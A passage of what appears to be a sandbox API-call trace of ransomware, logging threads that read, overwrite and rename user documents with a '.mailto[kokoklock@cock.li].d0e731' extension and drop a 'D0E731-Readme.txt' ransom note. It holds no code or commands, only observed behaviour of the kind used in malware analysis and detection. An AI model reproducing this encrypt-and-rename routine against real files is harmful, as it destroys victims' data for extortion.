nNumberOfBytesToRead=0x14b9, lpNumberOfBytesRead=0x12fef870, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x12fef870*=0x14b9, lpOverlapped=0x0) returned 1 [0174.520] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x12fef838 | out: lpNewFilePointer=0x0) returned 1 [0174.520] WriteFile (in: hFile=0x928, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x14b9, lpNumberOfBytesWritten=0x12fef86c, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x12fef86c*=0x14b9, lpOverlapped=0x0) returned 1 [0174.520] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.520] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.520] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0174.520] WriteFile (in: hFile=0x928, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12fef868, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x12fef868*=0x20, lpOverlapped=0x0) returned 1 [0174.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.521] WriteFile (in: hFile=0x928, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x12fef894, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x12fef894*=0x8, lpOverlapped=0x0) returned 1 [0174.521] WriteFile (in: hFile=0x928, lpBuffer=0x12fef8ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fef894, lpOverlapped=0x0 | out: lpBuffer=0x12fef8ac*, lpNumberOfBytesWritten=0x12fef894*=0x4, lpOverlapped=0x0) returned 1 [0174.521] WriteFile (in: hFile=0x928, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fef894, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x12fef894*=0x4, lpOverlapped=0x0) returned 1 [0174.521] WriteFile (in: hFile=0x928, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x12fef894, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x12fef894*=0x6c, lpOverlapped=0x0) returned 1 [0174.521] WriteFile (in: hFile=0x928, lpBuffer=0x3053da8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x12fef894, lpOverlapped=0x0 | out: lpBuffer=0x3053da8*, lpNumberOfBytesWritten=0x12fef894*=0x20, lpOverlapped=0x0) returned 1 [0174.521] WriteFile (in: hFile=0x928, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x12fef894, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x12fef894*=0x4, lpOverlapped=0x0) returned 1 [0174.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053da8) returned 1 [0174.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0174.522] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d80) returned 1 [0174.522] CloseHandle (hObject=0x928) returned 1 [0174.522] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2ff17a8 [0174.522] wcscpy (in: _Dest=0x2ff17a8, _Source="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" [0174.522] wcscat (in: _Dest=0x2ff17a8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.522] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\wapga.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.523] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff17a8) returned 1 [0174.523] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\wapGA.ods.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.523] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87a90 [0174.523] wcscpy (in: _Dest=0x2f87a90, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.523] wcscat (in: _Dest=0x2f87a90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.523] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87a90) returned 1 [0174.523] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fd00a8) returned 1 [0174.523] RtlExitUserThread (Status=0x1) Thread: id = 1924 os_tid = 0xc5c [0170.705] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.478] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.478] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0174.479] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x1306f98c | out: lpFileSize=0x1306f98c*=92190) returned 1 [0174.479] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x1681a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.479] ReadFile (in: hFile=0x928, lpBuffer=0x1306f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1306f95c, lpOverlapped=0x0 | out: lpBuffer=0x1306f960*, lpNumberOfBytesRead=0x1306f95c*=0x4, lpOverlapped=0x0) returned 1 [0174.480] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0174.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.480] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e48 [0174.480] NtQuerySystemTime (in: CurrentTime=0x1306f938 | out: CurrentTime=0x1306f938*=132121213317951907) returned 0x0 [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xe35da67a [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xbb6222ae [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xe9e871a1 [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xb0bbc02f [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xb35919bb [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x9c832126 [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x600f9875 [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x5b8883f6 [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x8f08e23b [0174.480] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x9a7d992e [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xba36f6d9 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xcc37e92a [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xceba4fad [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x2e6be27f [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x633bbea3 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x8d276034 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x232a7f0d [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xc7472220 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x5661b708 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xa7a3c3c3 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x4d2232ad [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x98742983 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xee492919 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xfa0ca68e [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x331b63db [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xadca204e [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x3d7315bc [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x2e848d94 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x229f43a9 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x30f3c84b [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0x63d1cde9 [0174.481] RtlRandom (in: Seed=0x1306f944 | out: Seed=0x1306f944) returned 0xeeb64ea9 [0174.492] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.492] ReadFile (in: hFile=0x928, lpBuffer=0x4ef0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x1306f910, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x1306f910*=0x4096, lpOverlapped=0x0) returned 1 [0174.493] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87428 [0174.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013350 [0174.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.493] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0174.493] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4ef40e8 [0174.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e98 [0174.494] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0174.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013350) returned 1 [0174.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87428) returned 1 [0174.494] WriteFile (in: hFile=0x928, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x1306f910, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x1306f910*=0x4096, lpOverlapped=0x0) returned 1 [0174.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.494] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x1681e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.494] WriteFile (in: hFile=0x928, lpBuffer=0x3053e98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1306f948, lpOverlapped=0x0 | out: lpBuffer=0x3053e98*, lpNumberOfBytesWritten=0x1306f948*=0x20, lpOverlapped=0x0) returned 1 [0174.494] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e98) returned 1 [0174.495] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.495] WriteFile (in: hFile=0x928, lpBuffer=0x3053e70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1306f95c, lpOverlapped=0x0 | out: lpBuffer=0x3053e70*, lpNumberOfBytesWritten=0x1306f95c*=0x8, lpOverlapped=0x0) returned 1 [0174.495] WriteFile (in: hFile=0x928, lpBuffer=0x1306f974*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1306f95c, lpOverlapped=0x0 | out: lpBuffer=0x1306f974*, lpNumberOfBytesWritten=0x1306f95c*=0x4, lpOverlapped=0x0) returned 1 [0174.495] WriteFile (in: hFile=0x928, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1306f95c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x1306f95c*=0x4, lpOverlapped=0x0) returned 1 [0174.495] WriteFile (in: hFile=0x928, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1306f95c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x1306f95c*=0x6c, lpOverlapped=0x0) returned 1 [0174.495] WriteFile (in: hFile=0x928, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1306f95c, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x1306f95c*=0x20, lpOverlapped=0x0) returned 1 [0174.495] WriteFile (in: hFile=0x928, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1306f95c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x1306f95c*=0x4, lpOverlapped=0x0) returned 1 [0174.495] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.495] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d58) returned 1 [0174.495] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e70) returned 1 [0174.495] CloseHandle (hObject=0x928) returned 1 [0174.496] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xd2) returned 0x2f979f8 [0174.496] wcscpy (in: _Dest=0x2f979f8, _Source="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" [0174.496] wcscat (in: _Dest=0x2f979f8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0174.496] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\x28cj0j.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0174.496] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f979f8) returned 1 [0174.497] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\x28CJ0j.docx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0174.497] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5a) returned 0x2f87c98 [0174.497] wcscpy (in: _Dest=0x2f87c98, _Source="C:\\Users\\FD1HVy\\Documents\\" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\") returned="C:\\Users\\FD1HVy\\Documents\\" [0174.497] wcscat (in: _Dest=0x2f87c98, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" [0174.497] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\documents\\d0e731-readme.txt")) returned 0x20 [0174.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87c98) returned 1 [0174.497] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcf008) returned 1 [0174.497] RtlExitUserThread (Status=0x1) Thread: id = 1925 os_tid = 0xa04 [0170.706] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0174.444] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0174.444] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\ysZgVumn.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\documents\\yszgvumn.xlsx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x928 [0174.444] GetFileSizeEx (in: hFile=0x928, lpFileSize=0x130ef7e0 | out: lpFileSize=0x130ef7e0*=24250) returned 1 [0174.444] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x5eb6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.444] ReadFile (in: hFile=0x928, lpBuffer=0x130ef7b4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x130ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x130ef7b4*, lpNumberOfBytesRead=0x130ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0174.445] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.445] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053da8 [0174.446] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e20 [0174.446] NtQuerySystemTime (in: CurrentTime=0x130ef78c | out: CurrentTime=0x130ef78c*=132121213317639551) returned 0x0 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x5be7ba10 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x4fd51db4 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x6eabb34b [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xa63204e6 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x40f178c6 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x324e7ebd [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x7f2e2a10 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xf45990ce [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xbcdb823f [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x2a114eae [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xf7206e68 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x6cb69066 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x6a3ed29f [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x7a1892c3 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xef816785 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xf7f436cd [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x7360408a [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xf37cf99a [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xb4c115bc [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x8ed4c8b7 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xe0647851 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x3beec379 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xae3440fe [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xcfffa999 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x3d097234 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x87037622 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xd792b7ab [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x4f4033c6 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x4767aa44 [0174.446] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0x205c0bee [0174.447] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xb721faab [0174.447] RtlRandom (in: Seed=0x130ef798 | out: Seed=0x130ef798) returned 0xfc61734d [0174.468] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.468] ReadFile (in: hFile=0x928, lpBuffer=0x4ef0048, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x130ef764, lpOverlapped=0x0 | out: lpBuffer=0x4ef0048*, lpNumberOfBytesRead=0x130ef764*=0x4096, lpOverlapped=0x0) returned 1 [0174.469] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f872c0 [0174.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x3013530 [0174.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053e48 [0174.470] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053e48) returned 1 [0174.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x4ef40e8 [0174.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053d30 [0174.470] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x3053fb0 [0174.470] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053fb0) returned 1 [0174.470] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3013530) returned 1 [0174.470] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f872c0) returned 1 [0174.470] WriteFile (in: hFile=0x928, lpBuffer=0x4ef40e8*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x130ef764, lpOverlapped=0x0 | out: lpBuffer=0x4ef40e8*, lpNumberOfBytesWritten=0x130ef764*=0x4096, lpOverlapped=0x0) returned 1 [0174.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef40e8) returned 1 [0174.471] SetFilePointerEx (in: hFile=0x928, liDistanceToMove=0x5eba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0174.471] WriteFile (in: hFile=0x928, lpBuffer=0x3053d30*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x130ef79c, lpOverlapped=0x0 | out: lpBuffer=0x3053d30*, lpNumberOfBytesWritten=0x130ef79c*=0x20, lpOverlapped=0x0) returned 1 [0174.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3053d30) returned 1 [0174.471] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4ef0048) returned 1 [0174.471] WriteFile (in: hFile=0x928, lpBuffer=0x3053d80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x130ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x3053d80*, lpNumberOfBytesWritten=0x130ef7b0*=0x8, lpOverlapped=0x0) returned 1 [0174.471] WriteFile (in: hFile=0x928, lpBuffer=0x130ef7c8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x130ef7b0, lpOverlapped=0x0 | out: lpBuffer=0x130ef7c8*, lpNumberOfBytesWritten=0x130ef7b0*=0x4, lpOverlapped=0x0) returned 1 [0174.471] WriteFile (in: hFile=0x928, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, 